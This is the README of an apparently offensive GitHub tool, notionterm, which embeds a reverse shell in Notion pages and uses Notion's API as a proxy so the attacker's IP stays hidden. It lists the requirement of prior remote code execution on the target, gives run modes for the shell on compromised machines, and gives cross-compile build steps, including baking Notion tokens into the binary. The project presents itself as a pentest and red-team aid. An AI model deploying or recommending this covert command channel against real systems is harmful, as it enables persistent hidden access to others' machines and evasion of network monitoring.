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https://github.com/ariary/notionterm

🖥️📖 Embed reverse shell in Notion pages
https://github.com/ariary/notionterm

c2c infosec notion notion-api pentest pentest-tool redteam reverse-shell webshell

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🖥️📖 Embed reverse shell in Notion pages

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notionterm




Embed reverse shell in Notion pages.

Hack while taking notes

---

![demo](https://github.com/ariary/notionterm/blob/main/img/demo_dark_light.gif)

---


FOR ➕:



  • Hiding attacker IP in reverse shell (No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell)

  • Demo/Quick proof insertion within report

  • High available and shareable reverse shell (desktop, browser, mobile)

  • Encrypted and authenticated remote shell




NOT FOR ➖:



  • Long and interactive shell session (see tacos for that)


---


Why? 🤔


The focus was on making something fun while still being usable, but that's not meant to be THE solution for reverse shell in the pentester's arsenal


How? 🤷‍♂️


Just use notion as usual and launch notionterm on target.


Requirements 🖊️



  • Notion software and API key

  • Allowed HTTP communication from the target to the notion domain

  • Prior RCE on target


---


roughly inspired by the great idea of OffensiveNotion and notionion!

## TL;DR

Learn command and flags is too boring: **Use `wrap-notionterm.sh`**

## Quickstart

### 🏗️ Set-up
1. Create a page and give to the integration API key the permissions to have page write access
2. Build `notionterm` and transfer it on target machine (see [Build](#build))

### 👟 Run

There are 3 main ways to run `notionterm`:

"normal" mode
Get terminal, stop/unstop it, etc...

notionterm [flags]


Start the shell with the button widget: turn ON, do you reverse shell stuff, turn OFF to pause, turn ON to resume etc...

"server" mode
Ease notionterm embedding in any page

notionterm --server [flags]


Start a shell session in any page by creating an embed block with URL containing the page id (CTRL+Lto get it): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID].

light mode
Only perform HTTP traffic from target → notion

notionterm light [flags]

## Build

As `notionterm` is aimed to be run on target machine it must be built to fit with it.

Thus set env var to fit with the target requirement:
```shell
GOOS=[windows/linux/darwin]
```

### Simple build
```shell
git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go
```

You will need to set API key and notion page URL using either env var (`NOTION_TOKEN` & `NOTION_PAGE_URL`) or flags (`--token` & `--page-url`)

### "All-inclusive" build
Embed directly the notion integration API token and notion page url in the binary. *⚠️ everybody with access to the binary can retrieved the token. For security reason don't share it and remove it after use.*

Set according env var:
```shell
export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]
```
And build it:
```
git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS
```